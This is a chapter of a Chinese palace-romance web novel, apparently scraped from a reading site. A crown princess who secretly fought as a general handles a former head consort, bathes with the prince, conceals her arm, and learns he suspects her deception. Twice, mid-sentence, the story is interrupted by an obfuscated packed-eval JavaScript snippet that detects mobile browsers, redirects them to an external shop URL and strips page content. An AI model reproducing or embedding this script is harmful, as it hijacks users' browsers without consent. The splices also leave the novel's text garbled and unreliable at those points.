他身上清幽的白檀香又荡入鼻尖，直渗进她的喉咙，压抑许久的情感如倾覆之水不可收拾，她此刻已完全错乱。 眼前人的玉带已成重影，脚下有些发软，她仿佛身在梦中，丝毫逃离不得。 她没有挣脱他的臂弯，但是已经无法抬眸对上他的目光：“需要...这么快吗？” 迷蒙中的沈照华，也带上了几分不常流露的柔软。 陈致得逞般一笑，手上的力道忽然加大了几分，扣紧她的腰，直接将她揽入怀里。 他的脸贴近沈照华发烫的耳朵：“害羞什么，五日前你我便应如此。” 温热的气息挑动着沈照华的意识，腰间的大手刺激着她的神经，沈照华只觉遍体酥麻。 她艰难地咽了下口水，企图压下乱撞的心跳，本想回应些什么，可此时她不知是该进还是退。 他们已是夫妻，似乎确实不需矜持。 她鬼使神差地把微凉的手扶上圆领袍上仅露的脖颈，指间如玉如瓷的触感又激起了往日的回忆。 那日他重伤缝针，她便是紧紧地贴着他裸露的肌肤，任他依靠、借力，那时她便觉得，他们本就应该胶漆一体，云海相融。 熟悉的感觉也涌入陈致的心头。 陈致看着她低垂的眼眸和起伏的胸腔，任由她长了一层薄茧的手指轻柔地摩挲自己的颈间。 他感受着她指尖的粗糙，想起了桑台崖壁下他抓住一个人的手，那指尖便是这样的触感。 他眉心暗暗蹙起，声音温柔： “太子妃，今晚孤留下陪你。” —— 西窗下一个人影偷偷离去，绕转文熙殿后门直奔后院宜春阁。 宜春阁内满室清芬，与文熙殿中既不燃香又不摆花的单调华贵迥然不同，坐榻木格间摆着孩子的玩具与书籍，那是陈致嫡长子陈铮的用物。 阁中正在紫檀案边插花的女子约莫二十左右的年纪，一袭井天青缎面夹绵褙子衬着姣美容颜，显得婉而不媚，风姿端丽。 “见过林娘子。”宫人芳玉施了一礼，待阁门关上，忙紧走两步靠近紫檀案。 芳玉微微俯身凑近林琰，压低了声音道：“看太子殿下的意思，今夜是要宿在正殿了。” 正要入瓶的老梅花枝在林琰手中顿了一下，一双含着春水的眼眸光华渐淡：“中午给了阖宫众人一个下马威，夜里又要侍寝，这位新太子妃真是好手段。” 芳玉回忆着午间文熙殿廊下的血腥惨状，面色不由有些难看：“奴也是第一次听说打脊杖不定数的，一直打得都昏死过去才停手，而且她亲眼盯着，硬跟没事儿人一样。” 脊杖不同于板笞，直打在脊背之上，打重了震破内脏与筋骨，是可以死人的。 寻常闺阁小姐纵使再狠心骄纵，到底还是怕见血、怕出人命的。她竟不怕。 林琰指尖一凉，索性将手中余下的花枝都撇在案上。 “继续盯着正殿，不要叫人察觉。” 待芳玉告退后，林琰到匣中取出那枚象征着掌东宫内廷事的鎏金印信，一遍遍摩挲着。 那是三年前冯氏去后，陈致亲手赠与她的。陈致说她懂规矩、识大体，定能教养好铮儿，管好后院。 三年来她为他管家教子、照顾衣食，不曾有丝毫懈怠。当日赐婚沈氏的圣旨下来，陈致来到她房中就寝，陈致怏怏不乐辗转难眠，她也整夜没有睡着。 陈致对妻妾虽谈不上亲密体贴，但到底敬重有加，当年冯氏那般谨慎木讷，又相貌平平，陈致尚时常问候，不曾亏待，死后又亲手为她抄经百卷，守志三年。 虽也有做给冯氏一族看的成分，但她知道陈致是向来守礼数、察人心的，这东宫印信，她是不能再掌了。 若是从未掌过家，一直安分做个侧室倒也罢了，这从实际的掌家娘子沦落到一个闲妾，便算是失势了。 而且还有铮哥儿。嫡母已至，她这个庶母，又怎能继续名正言顺地教养膝下？何况新妃的作风又如此强势，怕是不能容她抚养嫡子。 想到此处，林琰暗暗叹了口气，她将印信小心放入匣中，望着镜中的自己失神良久。 —— 彼时陈致与沈照华正拥抱着，殿外便响起“传膳”的请示，于是二人便先用午膳。 午后，陈致还未来得及回前院理政，便见守门的宫人前来通传，说林良娣求见。 “林良娣？”沈照华不由问向陈致，“殿下，她此来许是为了什么？” 宫中有制，东宫及王府妃妾若有在正妃入主前进门的，需在大婚第七日清晨行大礼面见正妃。今日才是第五日。 “许是交还印信吧。”陈致言罢迟疑了一瞬，终究又添了一句，神色稍显严肃，“林氏为人温顺有礼，素无大错，可宽待之。” 他格外交代这些做什么？ 沈照华终于反应过来，他应是被自己午前廊下的架势吓到了。 沈照华假笑一声，伸手做了个“请”的姿势：“殿下，且到里间暂避，万一一会儿又见了血，别溅到您身上。” 陈致也呵呵地笑了两声。虽然不好笑。 但思及林琰此来应只为后院之事，陈致还是识趣地进了里间寝室。 “请林娘子。” 许是她还不适应作为人妇的身份，午间处罚宫人时，沈照华心底下还未真正以东宫主母自视，只觉得有人想挑拨东宫与沈家的关系，实属罪大恶极。 而听到林琰求见时，她才意识到，自己应该学着做这东宫内廷的主事之人了。只是后宅之事在于人心计较，与沙场应敌不可同谈，还需周全思虑。 她自小不喜欢这些复杂幽深又计较小利的后宅事，所以立誓不做深宅妇，但如今命运弄人，哪里由得她任性而为，既然来了，该唱的戏，还是要唱的。 主座上的她低头理了理衣袖与裙摆，尝试摆出端庄的姿态。 林琰让一众随侍候于殿外，只留了一个贴身女使相陪。她在廊下解了披风入得殿来，前趋几步，向沈照华盈盈下拜。 待起了身，林琰终于得以抬眸打量着座中的这位新太子妃，容颜秀雅，姿仪端好，眉目间隐约几分清疏，有可远观而难以亲近之感。 与冯氏的气韵全然不同，似也更难相处。 沈照华叫看茶赐座，林琰却颔首陈情道：“妾不敢。近日宫人无状，妾未能及时消弭不法，以致宫人肆无忌惮遍起谣言，惊扰殿下与娘娘新婚安宁，实乃大过。 妾昔年蒙殿下错看，得以暂管东宫印信，但妾自知德才有亏，难担重任，才酿如此大祸，实在无地自容。如今新主既至，妾恭将印信奉还，深谢娘娘免妾艰难支撑之苦。” 沈照华看着阶下垂眉顺目、言辞谦恭的林琰，一时有些无措。 这林琰是台院侍御史林兆平之女，出身清望之门，幼承闺阁之训，又是这般知进退的模样，她须以礼待之，不愿与她有龃龉。 可林琰如今虽顺着有个过错的台阶提前送来印信，沈照华心里知道，她必是不愿还的。人对既有权力的不舍，是刻在骨子里的，无关善恶。 她暗暗向右侧侍立的苏晴和玉泉处看去，二人都向她默默点头。 林琰的女使已将印信匣子奉于案上，沈照华略作思量，终于说道：“这次谣传值我新入东宫时节，林娘子若管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392155|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，怕众人说娘子不知进退，若是不管，又怕我怪娘子放任自流。娘子进退两难，我是知道的，也十分体谅，所以今日才出手管了，并没有任何怪罪娘子的意思。” 林琰听沈照华如此说，不由得抬起头来看向她，眼神不再似刚才那般警惕。 “林娘子坐。”沈照华又道，“殿下跟我夸娘子贤淑知礼，他向来信重，如今一见，才知所言非虚。这印信娘子既想交付与我，我就先收下。” 座中林琰长睫一颤，但神色未改。 “但我如今初来乍到，诸事没个头绪，又是个疏懒耿直的性子，最怕繁琐。铜铁无心，人有情义，娘子得殿下赞许，一向处事稳妥，我想请娘子免辞劳苦，日后帮我共管这东宫庶务，不知娘子意下如何？” 沈照华命苏晴将自己的太子妃玉令取出，赠与林琰。 “印信是朝廷所发，这玉令是禁中所赐，娘子拿着它协理东宫事，没人敢说一个不字。” 林琰看着手中晶莹剔透的太子妃玉令，一时心中五味杂陈。 她不曾想是这样体面的结果。 “妾位卑德薄，不敢受娘娘青眼。” “我诚心相请，娘子这么说，便是说我没有这个脸面了？” 林氏忖度片时，终是躬身一礼：“深谢娘娘厚恩，妾无以为报，自当为娘娘效犬马之劳。” 沈照华含笑道：“谈不上效劳，娘子也无需太客气，一家子互相帮助着好生过日子，不比什么都强么？” 林氏也应之一笑，但看不出什么欣喜的意味。 二人又闲话了些注意冷暖多加餐食等事，林氏便说告辞。临走时，玉泉将沈照华一早给林琰和铮哥儿备下的礼物奉上，并叮嘱她千万好生照顾自己，不要受累。 有礼有节，进退有度，懂得体察人情，又会拉拢人心，陈致在里间听着不禁感叹，真是好一个沈家女。 林氏离开后，陈致负着一只手拨帘出来： “都说新官上任三把火，娘娘如今可就差最后一把火了。” 沈照华正支着一只肘在案旁舒着长气。 她真是不爱处理这后宅的关系，何况东宫妾室都是官宦之女，既不能太冷淡显得敷衍，又不能太热络失了威严，每说一句话都要三思，着实累神。 要扮演这个太子妃，当真不易。 沈照华一抬头，看陈致竟然在笑，才要揶揄他两句，又怕显得太不见外而惹他怀疑，于是闭了嘴起身来。 方才林氏来前她说的那句“溅血”的调侃之语，她已觉不妥了。 “殿下莫要打趣妾身了。只是林娘子看着不像爱生事端的人，妾不想让她觉得，妾一来，她的日子就不好过了，毕竟都不容易。” 如今竟还要应付他，沈照华已没了精神，语气只是淡淡的。 “太子妃常日里看这些书，孤还以为你偏爱铁血手腕，不想也怀仁柔之心。” 陈致把“这些书”咬得重些，沈照华看去时，他竟悠悠从背后摊出一本《尉缭子》！ 那正是少时沈恪教她治军之道时用的兵书，她将此书放在了枕旁，睡前无聊时喜欢翻看。 想来哪家闺秀会读兵书，他不会又起了疑心吧！ 沈照华倦意顿消，连忙解释道：“这是家父遗物，妾聊以睹物思人，不大懂其中奥义。” “原来如此。不过这是本好书，太子妃如此聪慧，有空可以研究一番。” “是。” 陈致没有再继续追问，沈照华暗暗松了口气。 不想他将书放回枕侧后，扬声向外唤道： “唐近元，把孤的常服从书房拿来，再准备沐浴用的热水，太子妃说，今晚不让孤走了。” “……” 沈照华愣住了，她什么时候说过这种混账话？这大冷的天，还沐浴，难道…… 沈照华不禁咬了咬嘴唇，他要动真格的？ 正神思游离着，却见陈致偏过头对她意味深长地一笑：“这第三把火，便由孤来替你烧。” 18. 芙蓉夜宴（1） 沈照华没想到，陈致所烧的这第三把火，连汤泉池都未能幸免。 晚膳后，陈致前脚刚出发去沐浴，唐近元后脚便转头回来说：“娘娘，殿下请您也一道去呢。” “啊？” 她本以为陈致决定留宿正殿是为了平息物议，好和她午间的一出杀鸡儆猴相辅相成，怎么还要一同汤泉沐浴？ 难道皇帝夺情赐婚，太子又要夺情圆房？！ “我...能不去吗？”沈照华把茶盏放下，也不再喝了。因为猜不透陈致的心思，她有些忐忑。 苏晴在一旁没有作声，玉泉听了则立即上前说道：“我的小姐，这还有不去的道理？您忘了来东宫前，夫人是怎么嘱咐的了？” 玉泉当时亲耳听到周氏告诉沈照华，子嗣为大。 但是她也知道自家小姐虽看着外场能干，但于男女之事上是很羞涩的，当日周氏只是提点了她几句，她的耳根便发红了。 玉泉还知道，沈照华是绝对不讨厌陈致的，不然方才用膳时也不会主动给他夹菜。 于是玉泉连忙自作主张地向唐近元说道：“唐少监，我服侍娘娘把钗环卸了，稍后便去。” 唐近元笑呵呵地退下了，沈照华偏过头来偷偷拧了玉泉一眼：“好蹄子，你倒做起我的主来了。” 玉泉把眼睛瞟到别处不去看她，苏晴则在一旁低头带笑：“娘娘，又不是什么大事，这次就听玉泉姑娘的吧。” 苏晴虽跟沈照华不过几日，但也知道这位太子妃不同常人，面对流言有狠辣手段，面对太子却显得有些不温不火。按理来说不应如此，想宫里哪个妃嫔不是使劲浑身解数侍奉圣驾？ 沈照华可不这么认为，她觉得这事可大可小。汤泉什么的，泡便泡了，可是这鸳鸯浴之后呢？ 她根本没做好动真格的准备，当时禁中派去侯府教习的女官，也因为她为父守丧情况特殊，没有教她如何在床笫之间侍奉太子。 不管她是否有心，无力确是真的。 沈照华不禁长吁了口气。不是说他矜贵肃正、清冷少言么，怎么如今急的反倒是他呢？ —— 用银炭烧了半日的暖阁早已一室温热，云母雕窗映着满架灯烛泛出淡淡柔光。 宫人们服侍沈照华在池旁轩中净浴，先用澡豆细细搓去皮肤汗脂，再用香汤淋得肌肤滑腻、遍体生香。 钗环尽褪，一编洗净的长发发梢滴着晶莹的香露，拭干轻挽，随意披散在肩上的一绺青丝妩媚丛生。 地板水露湿滑，穿上淡粉色轻纱浴衣，披着罗衫，宫人扶着沈照华绕转屏风，步入活水汤泉。 汉白玉砌就的芙蓉池上水汽氤氲，汤中之人一袭月白素衣在池壁旁倚阶慵坐，活水漫至他的胸前，在微微凸起的白腻胸肌处漾着微澜，烛影摇曳间，他本就如描似画的面容恍若仙人。 感受到沈照华下阶入汤时水波推开的动静，陈致将本微偏斜的身子缓缓坐正，阖上的眼眸也转为半开。 香丝松松挽起、薄纱掩映着绰约身姿的沈照华就这么进入他的眼帘时，陈致不禁噙笑缓吟： “今夜花神出蕊宫，绿云袅袅不禁风。” 这等香艳诗句由他口中吟出，也并不觉得油腻与失礼，但沈照华是第一次听他这样对自己言语，不禁身上有些发麻。 又想到自己是第一次以这般模样出现在他眼前，心头又有些发紧。她也坐在汤下阶上，让暖汤浸没身体。 “都说灯下观美人，果然不错。”陈致又丝毫不腼腆地添了一句。 沈照华虽有些害羞与窃喜，但终究不太适应有人以姿容夸她，不由得驳了一句回去：“妾哪有林娘子长得好？殿下该留着这些话夸她去。” 说完她觉得似乎不大对劲，与林琰何干？ 陈致也琢磨起她这话中的言外之意：“这话听着有些酸了，莫非孤午间称赞林氏，太子妃有些嫉妒？” “哪有的事，妾只是实话实说。”沈照华慌忙否认，林氏也不容易，她才不会嫉妒一个深困宅院之女。 二人池中一东一西相对而坐，香雾缭绕于水波之上，在二人之间漫起迷蒙薄烟。 陈致从阶上起身，踩着芙蓉汤的白玉池底，拨开汤泉水一步步走向她。 水漫在他的腰间，素衣被水浸透紧贴于身上，现出如松竹般纤细清劲的线条，如雪的肌肤、紧致的肌理在柔光笼罩下玉润白腻，水珠从这副纤而不弱的躯体上缓缓滑落，晃得沈照华有些神迷。 沈照华不禁咽了下口水，又忙把眼睛偏向一边。非礼勿视，非礼勿视。 陈致的幽幽清声伴着活水缓流声进入耳中：“实话实说？你可不是对孤坦诚相待的人。” 他声音低缓，沈照华也垂着眸低声反驳道：“殿下好生冤枉人，妾待殿下哪里有假？” 陈致几乎已经贴到了她的身前，在她的额前轻声低语：“真假一事，人心自知。” 初见那日的场景重现眼前，同这汤泉水一起浮荡于袅袅水汽之间，沈照华猛地抬眸看向他。 他还不曾忘。他竟不曾忘。 陈致的目光摩挲在她的脸上，与她的眼神瞬间相触，沈照华又忙垂下脸去。 “殿下说什么呢，妾有些听不懂。” 陈致看着眼前紧贴池壁躲无可躲的沈照华，心里早察觉了她的异样。 他记得她害羞时低头垂眉的弧度，记得她心虚时眼睫闪动的幅度，记得她的嘴硬与自持……眼前冰肌玉骨的佳人，可不正是边关提枪策马的少年将军？ 他的手不由自主地扶上她滑腻的右肩，手指拂过她清晰的锁骨，顺势拈起纱衣的一角便要褪去。 是与不是，他要看个分明。 沈照华的心已经跳到了喉咙。他的指尖点上自己的右肩时，她忽然意识到他今夜邀自己同沐汤泉的意图。 他知道她右臂上有刀伤，想去探看那道疤痕。 沈照华却忙拨开他的手，将身一避顺水游离此地，将纱衣拢好。 汤波再次涌起，沈照华绕到他的身后，却看见他肩胛处受伤缝合而留下的伤疤在素衣之下若隐若现。 她伸手欲触摸那道伤，手指才要抬起，又被她生生攥住。 “你……还疼吗？” 陈致偏过头来，烛光照在他的侧脸，勾勒出眉骨鼻峰完美的弧度。他眼角余光轻轻瞥向她：“什么？” “殿下尊养于玉楼金阙之内，身上怎会有这样深的伤口？” 说一个谎，要靠千万个谎来圆。连关心他的伤势都需要迂回相问，沈照华一时无力至极。 “今年四月，孤在明德宫为母后祈福，心念西境兵事，梦中为敌军所伤。” 储君轻易不得离京，原来他是以为母祈福为由暗涉边关，难怪他一直瞒着自己。 看似玩笑的答话，却在沈照华喉中洇了一团苦涩：“梦中吗？” 分明是与她并肩作战时所伤。 “妾在家时听兄长提及边关战事，说每场交锋后都是黄沙成紫，尸横遍野，幸存下来的也是身受刀枪，皮穿骨错。还好如今，都结束了。” “都结束了。”陈致回味着这四个字的重量，转身重新面向她，“你兄长，和你长得像吗？” “像。”沈照华浅浅一笑，不露出半点撒谎的痕迹，“家里人常说，我们是一个模子刻出来的，都像母亲。” “你兄长如今居家守孝？” “嗯。只是父亲去后，兄长身上也不大好了，收复新岭时受了重伤，牵扯得旧箭伤一并复发，又遭逢丧亲之痛，如今应还在服药。” 沈照华一边拨着汤泉淋身，一边淡淡说着，说得像真的一样。 她无法说兄长早已去世，也无法说不久之后，临安老宅就要宣布兄长居丧中道过世的消息，让沈家曾以女代子的欺君之事彻底掩埋地下。 陈致不去戳穿她的谎言，只是说着： “天地无情，蚁梦南柯。逝者已去，活着的人，就不要再让逝者挂心才是。你与家里人，感情很好吧？” “嗯，妾自幼受父母兄长悉心教导，一家人和乐无穷。小时候妾不爱读书，总是调皮，也不免常挨训斥，只是如今怙恃尽失，想再听父母骂上几句，已不可能了。” “不经失去，难知可贵，我也是如此。当年庄懿皇后在时，日日察看窗课、严加训导，对我饮食起居、一举一动均有规范，我也常怨苛刻， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399840|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至逆反抗议，惹得母后不快。” 陈致缓缓说着，弥漫的香雾遮住了他眼底一抹酸涩的笑意，“如今想真是不应该，母后在时，我尚有荫庇依靠，母后去后，便只剩孤身一人了。” “怎会，我…妾也会是殿下的依靠。” 无意之间，陈致未再自称孤，沈照华也险些失了礼数。许是这芙蓉汤里太像梦境，人在梦中总会不觉失控。 但她从未想过，高居宫阙、天下仰望的太子殿下，也会念念不忘丧失至亲的彻骨之哀，也会发出当时只道是寻常的无奈之慨。 陈致第一次听到有人想成为他的“依靠”，不觉一时失笑：“这个承诺可不是好做的，太子妃可要量力而行。” “凡事两个人做，总比一个人要容易些，再不济，也不会觉得太孤单。” 沈照华从不是轻易许诺之人，若太子不是陈致，她便只顾自己的事便了，可偏偏是他。 是他的话，她愿意陪他共立浪头，就如桑台城下，他坚决地同自己共克敌军一样。 —— 室外清寒，芙蓉汤暖。 沈照华与陈致未回正殿，就在屏外暖阁中更衣就寝。 室内熏着一炉清甜的“春消息”，叫人仿佛置身春芳初绽的时节。 宫人关闭阁门，却下锦帐，悄声退去。 雕花床上，陈致缓抬上身面向有些紧张的沈照华，想帮她把上衫褪去。 沈照华下意识地挡住他的手，却透过他指腹的温热，感受到了自己指尖的冰凉。 “怎么了？” 陈致柔声问着。面对对情爱之事尚很青涩的沈照华，即使被挡了一下，他也有足够的耐心。 “是不是……有点快？” 她面上的潮红和眼眸的闪躲让他尽收眼底，陈致一笑。这是她今天第二次说觉得快了。 “那什么时候才不算快？” 他的气息再次吹过鬓边，沈照华却不禁把衣襟拢了拢。 她不想让他看见自己的右臂。 陈致以温柔又不可抗拒的力道将她的手拿开，缓缓解开她衣襟的系带。 素色裹胸衬得肌肤清白如霜，修长的颈间滑过她吞咽的起伏，他将衣衫从背后拨下，她瘦削的肩颈臂膀显露无遗。 淡淡的清香从她肌理间渗出，陈致的喉结不由滚动一瞬。待他的目光从她的下颌抚摸至右臂，他的眸光蓦地一滞。 那素臂之上哪里有一丝一毫受过刀伤的痕迹？！ 他手上的动作也停止了，沈照华察觉到他的异样，又默默把衣衫穿上。 为了不露痕迹，她特意让徐仲明从他家中拿了宫中所用的药膏，兢兢业业抹了将近半年，才算把这疤痕平复，只有一道浅浅的银痕，不在灯光之下细细观察，是看不出的。 但她不愿让陈致发现她右臂无伤。 新婚之夜，他发现自己不是当初之人时，神情是那般冷漠。又把自己甩在房中，独自扬长而去，连一句关心的话都没有。 今日他的态度才刚刚好些，若让他把心中那处仅存的疑点也消除，岂不是又要重演当晚的场景？ 她虽然不想坐实沈家的欺君之罪，但也不想让他对自己视若无睹。 往事如烟，可人心一但动过，岂会真正雁过无痕？ 透过陈致的神色，沈照华知道他此刻一定疑窦丛生。可她不能为他解惑。 “殿下，休息吧，明日还要早朝呢。” 她将被子抻上来，便侧过身去睡了。她不想再去揣摩陈致的心思，他爱怎么想，便怎么想吧。 不想，背后的陈致将被子轻轻替她掩好，柔声说道：“睡吧，过了今晚，想必东宫再也不会有流言蜚语了。” 香炉里的春消息丝丝盘旋而上，夜里，沈照华梦醒之际转头看去，发现陈致已然不见了踪影。 沈照华心头一皱，难道，他又一次头也不回地走了？ 慌忙下床拨开锦帐，借着窗外透进的月光张目望去，却见窗下影着一个熟悉的影子。 窗外陈致正向唐近元吩咐： “让崔知白速遣人秘往临安，查探沈少将军的情况。孤要知道，他到底是生，还是死。”